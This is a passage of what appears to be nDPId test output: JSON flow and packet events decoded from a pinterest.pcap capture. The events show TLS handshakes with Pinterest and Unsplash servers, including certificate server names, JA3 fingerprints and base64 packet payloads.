Sjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjjN\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56"} +00895{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":575,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":6,"flow_first_seen":1605289714658,"flow_last_seen":1605289714739,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33280,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"accounts.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01860{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":739609,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuCAAsx5ehqQ0uCgBgLMCmZAAABAQgKwrkkK8+qNCiCDHBpbnRlcmVzdC5ueoIMcGludGVyZXN0LmVjggxwaW50ZXJlc3QuaHWCDHBpbnRlcmVzdC5jYYIMcGludGVyZXN0Lmlkgg4qLnBpbnRlcmVzdC5ubIIMcGludGVyZXN0Lm5sgg4qLnBpbnRlcmVzdC50d4IMcGludGVyZXN0LnR3gg4qLnBpbnRlcmVzdC50aIIMcGludGVyZXN0LnRogg4qLnBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3Qudm6CDioucGludGVyZXN0Lmh1ggxwaW50ZXJlc3Qudm6CDioucGludGVyZXN0LnVrggxwaW50ZXJlc3QudWuCDioucGludGVyZXN0LnJ1ggxwaW50ZXJlc3QucnWCDioucGludGVyZXN0Lml0ggxwaW50ZXJlc3QuaXSCDHBpbnRlcmVzdC5mcoIMcGludGVyZXN0LmNsgg4qLnBpbnRlcmVzdC5mcoIOKi5waW50ZXJlc3QuanCCDioucGludGVyZXN0LmNhgg1waW50ZXJlc3QuY29tggZwaW4uaXSCDioucGludGVyZXN0LnNlgg4qLnBpbnRlcmVzdC5wdIIOKi5waW50ZXJlc3QubXiCDioucGludGVyZXN0Lmtygg4qLnBpbnRlcmVzdC5pZYIVcGludGVyZXN0LmVuZ2luZWVyaW5ngg4qLnBpbnRlcmVzdC5ka4IOKi5waW50ZXJlc3QuZGWCDioucGludGVyZXN0LmNogg4qLnBpbnRlcmVzdC5hdIITKi5waW50ZXJlc3RtYWlsLmNvbYIXKi5waW50ZXJlc3QuZW5naW5lZXJpbmeCECoucGludGVyZXN0LmluZm+CDnBpbnRlcmVzdC5pbmZvggpwaW5pbWcuY29tghFwaW50ZXJlc3RtYWlsLmNvbYIMcGludGVyZXN0LmRlggxwaW50ZXJlc3QuZGuCDHBpbnRlcmVzdC5pZYIMcGludGVyZXN0LmpwggxwaW50ZXJlc3Qua3KCDHBpbnRlcmVzdC5teIIMcGludGVyZXN0LnB0ggxwaW50ZXJlc3Quc2WCDHBpbnRlcmVzdC5hdIIMcGludGVyZXN0LmNogg9waW50ZXJlc3QuY28uYXSCEioucGludGVyZXN0LmNvbS51eYIPcGludGVyZXN0LmNvLmtygg9waW50ZXJlc3QuY28udWuCEioucGludGVyZXN0LmNvbS5hdYIQcGludGVyZXN0LmNvbS5hdYIQcGludGVyZXN0LmNvbS5teIIRKi5waW50ZXJlc3QuY28ubnqCD3BpbnRlcmVzdC5jby5ueoIQcGludGVyZXN0LmNvbS5wZYIQcGludGVyZXN0LmNvbS51eYIRKi5waW50ZXJlc3QuY28uaW6C"} +00456{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":739620,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCBesACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUggABu2pDS4ILMeXogBAB9QqTAAABAQgKz6o0UcK5JCs="} +00456{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":739655,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCBesACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUggABu2pDS4ILMeoAgBAB8wZ9AAABAQgKz6o0UcK5JCs="} +01865{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":739669,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuCAAsx6gBqQ0uCgBgLMCrYAAABAQgKwrkkK8+qNCgQcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBAgYKKwYBBAHWeQIEAgSB8wSB8ADuAHUA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFzVeUsqgAABAMARjBEAiBFoq\/xobECVZhZtUc7btC5hoxWOSVrWyon0phReuJy2gIgZksLD3C3g5hs1uN\/fxJ3QdxWeMMC9CJJpCnRKnMCkEoAdQBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXNV5SzaAAAEAwBGMEQCIC4Ov3Wwcsdt6rpQua1N0NI2qcuhMuVxh7v+Q8LLaCfhAiAD5yJvjyGpUx+ANEDut9mpunmM1M1jNcZc4UDYCQKZPTANBgkqhkiG9w0BAQsFAAOCAQEAEaIVgCQWe7xTMHTnJi67o5Gk+JG6z2t79luhUhem28vSmRSty+B9mLbDXrK7kbGA53eU7cBTkq39mkoUUJnGH0E3QSZkxUg5YvcicFqgwA9YzkW8"} +01874{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":739669,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuCAAsx7hhqQ0uCgBgLMEzBAAABAQgKwrkkK8+qNCgRYWUd2c800IAKJo4Txj3P2JtoqwdyrB0hZvT17H8\/7lIaNSgYEuf3cVWj1JVtBczj0N+dl9SuQ+PALGfIEi2rWMnFFqorRIqKo\/rW5MSkpqIYcRPRSLtpmcCi32uScHq5OK\/pJHx2VnlOuDPK8jT3xwLpio+LbmPRMQTu2OHtsd0HGrbVjRfp8UNL4coHhW6ivbHBE\/qM4fLC8XCmegSVnraL9IZ+2M2vxy39AAS1MIIEsTCCA5mgAwIBAgIQBOHnpNxc8vNtwCtCuF0VnzANBgkqhkiG9w0BAQsFADBsMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTEzMTAyMjEyMDAwMFoXDTI4MTAyMjEyMDAwMFowcDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEvMC0GA1UEAxMmRGlnaUNlcnQgU0hBMiBIaWdoIEFzc3VyYW5jZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC24C\/CJAbIbQRf1+8KZAayfSImZRauQkCbztyfn3YHPsMwVYcZuU+UDlqUH1VWtMICKq\/QmO4LQNfE0DtyyBSe75CxEamu0si4QzrZCwvV1ZX1QK\/IHe1NnF9Xt4ZQaJn1itrSxwUfqJfJ3KSxgoQtxq2lnMcZgqaFD15EWCo3j\/018QsIJzJa9buLnqS9UdAn4t07QjOjBSjEuyjMmqwrIw14xnvmXnG3Sj4I+4G3FhahnSMSTeXXkgisdaScus0Xsh5ENWV\/UyU50RwKmmMbGZJ0aAo3wsJSSMs5WqK24V3B3aAguCGikyZvFEohQcftbZvySC\/zA\/WiaJJTL17jAgMBAAGjggFJMIIBRTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wSwYDVR0fBEQwQjBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4E"} +00457{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":739673,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCBesACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUggABu2pDS4ILMe4YgBAB7QJrAAABAQgKz6o0UcK5JCs="} +00458{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":739677,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCBesACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUggABu2pDS4ILMfIwgBAB5\/5YAAABAQgKz6o0UcK5JCs="} +01882{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":740234,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuCAAsx8jBqQ0uCgBgLMKEvAAABAQgKwrkkK8+qNCgWBBRRaP+QrwIHdTzM2WVkYqISuFlyOzAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAGIqViQPmbd9c\/B1o6kqPg9ZRL41rRBaerGP10m5shJmLqoFxhFvtNE6wt3mSKcwtgGrwjiDheaT+A0cT6vWGyllxffQElmvTWVg9\/tMxJVwYOISj5p+C\/YxbmDFOzXieGv2Fy0mq8ieLmXL8PqrVQQva1TahvxxuR0l\/XtlIfAPZ\/YtJoJgmQkDr1pIRpGQKV1TE9R3WAl5rrO7EgJoScvpWk9f\/vzCFBjC\/C39O\/1cFnSTthcMr+6Z1qKwtFu99eSey68KdCwfqqoXTAaMgKEFZQyjSgeOq9ux7O3e2QGKABUFFAe8XBj7ewDObZ9NhLnKH5Gn8EgBXQB5w9R7JtBYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFFFo\/5CvAgd1PMzZZWRiohK4WXI7GA8yMDIwMTEwNzExNDQ1MlowczBxMEkwCQYFKw4DAhoFAAQUzyb1GPrJfo+Ms0LgHC9qEJ6OXwoEFFFo\/5CvAgd1PMzZZWRiohK4WXI7AhAEIQzFo4YzQYum6ENydBKbgAAYDzIwMjAxMTA3MTE0NDUyWqARGA8yMDIwMTExNDEwNTk1MlowDQYJKoZIhvcNAQELBQADggEBAIiYG59vb3kC7aO7aUEKdJQp5xDBWD2CQ3r7LrQsBmdscpkS2v4t1r5Rd+gr6XVjFoKpz0kuuyvjJStW5YPBHEfS2hEJOYYZRHUc2VBTkFJGDGOA9WKBGjNMQYPIgba\/Dc1iZEydmNt8\/VStnPCdVnOPkihDIvNtCmXfYttuv9t0MMTAWBAxSfkCah3R\/ExehzwNmNUIixAtuvRm6XF1wnXkJor+q+HykKEuGe8fWf8DA6FwhWVUGlP1XSXu7+4\/WusWvGLw8IQXAomxxJXe9DAUISDYdh9PiRIDmtaF95Uvwvsf2i6pIT71AzWlU05wEjbVcv6LhhXAY3M5Lw1S8EQWAwMBLAwAASgDAB0gM78sTCaEd0MW5I\/+jwnVHNTNMQ7dVHgExitMuVMR+RUIBAEANmEaebTqgORaeyIdp\/gvyUU6NOLRhBchKGs5FD9+6m1ZWGi0K9isMFrjUWDr1F\/DpODYTPC0kIiF\/w8H2IVpwsZnPizp25frkDufzqSDZqgBRgZ6PWbciwSu6JnqJmLk9Jzf7elqkihKHHyPso7FQlKhlfPhpEzHGAHlJszsKDMSDtwSOccgI4E37tinYc0sSflZeoQ\/V3xTZRayQuxnXiXyDCdxcYkih9mIi4xyI91fJFae2sab"} +02675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":583,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":14,"flow_first_seen":1605289714658,"flow_last_seen":1605289714740,"flow_tot_l4_data_len":6221,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":444,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33280,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"accounts.pinterest.com","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +00571{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":740234,"pkt_caplen":168,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":168,"pkt_l4_len":114,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAHIGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuCAAsx9khqQ0uCgBgLMDH+AAABAQgKwrkkK8+qNCg42GRMGPNWiLgl1y4rLngGB86u8oYTAZggfOxwErNBea0dRl6DIzGKiYPD2g\/W+dBrdSgRKgi2GNeFYpM9VMP6pf8KCHxpIEzUFgMDAAQOAAAA"} +00508{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":626,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1605289714782,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::720","src_port":57050,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":782619,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCp8uACgGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAAcg3toBu85LuqIAAAAAoAL9IEOtAAACBAWgBAIICnRgZN4AAAAAAQMDBw=="} +00469{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":832909,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoETkIAHQAAAAAAAAAAByAqAcsBIEmLB5kd7IUo3\/YpAbve2qyyOFrOS7qjoBJXgB0bAAACBAV4AQMDAwQCCArCuSSHdGBk3g=="} +00456{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":832956,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCp8uACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAAcg3toBu85LuqOssjhbgBAB+6D6AAABAQgKdGBlEMK5JIc="} +01152{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":694,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":833176,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCp8uAiUGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAAcg3toBu85LuqOssjhbgBgB+9wiAAABAQgKdGBlEcK5JIcWAwECAAEAAfwDA\/Ezw4mbUrI42jPHW\/R2JVq8HiENkzAbEci0fYqAxMkBIKC\/V9JydIygOtZAUS0JoPRGfzSMLpt5E5aZDM7pIRYPACBqahMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZP6+gAAAAAAGAAWAAATaW1hZ2VzLnVuc3BsYXNoLmNvbQAXAAD\/AQABAAAKAAoACEpKAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApSkoAAQAAHQAgXafHcjSuu0lDRwVYnybRA+hptEDEqNkxm07M0aaWohAALQACAQEAKwALCsrKAwQDAwMCAwEAGwADAgACGhoAAQAAFQDJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00816{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":694,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1605289714782,"flow_last_seen":1605289714833,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::720","src_port":57050,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images.unsplash.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00457{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":869,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":864628,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAByAqAcsBIEmLB5kd7IUo3\/YpAbve2qyyOFvOS7yogBALMJWfAAABAQgKwrkkp3RgZRE="} +02323{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":870,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":867730,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAByAqAcsBIEmLB5kd7IUo3\/YpAbve2qyyOFvOS7yogBgLMCuuAAABAQgKwrkkqnRgZREWAwMAUgIAAE4DA40D0vTKo3Gtf8Sl8\/7gEjd1f7jfE9iCOYZaqCHczuSwAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMScwsAEm8AEmwADdcwgg3TMIIMu6ADAgECAgwf9NYl3WftjETRuPswDQYJKoZIhvcNAQELBQAwVzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExLTArBgNVBAMTJEdsb2JhbFNpZ24gQ2xvdWRTU0wgQ0EgLSBTSEEyNTYgLSBHMzAeFw0yMDExMTIxNjM5MTRaFw0yMTA3MDcxNzE1NTFaMHExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRUwEwYDVQQKEwxGYXN0bHksIEluYy4xHjAcBgNVBAMTFWltZ2l4Mi5tYXAuZmFzdGx5Lm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANCuwr6+ioGfW1o+5R1DbyMEkt3X\/imomeIi5zCCq02vfbsLt90U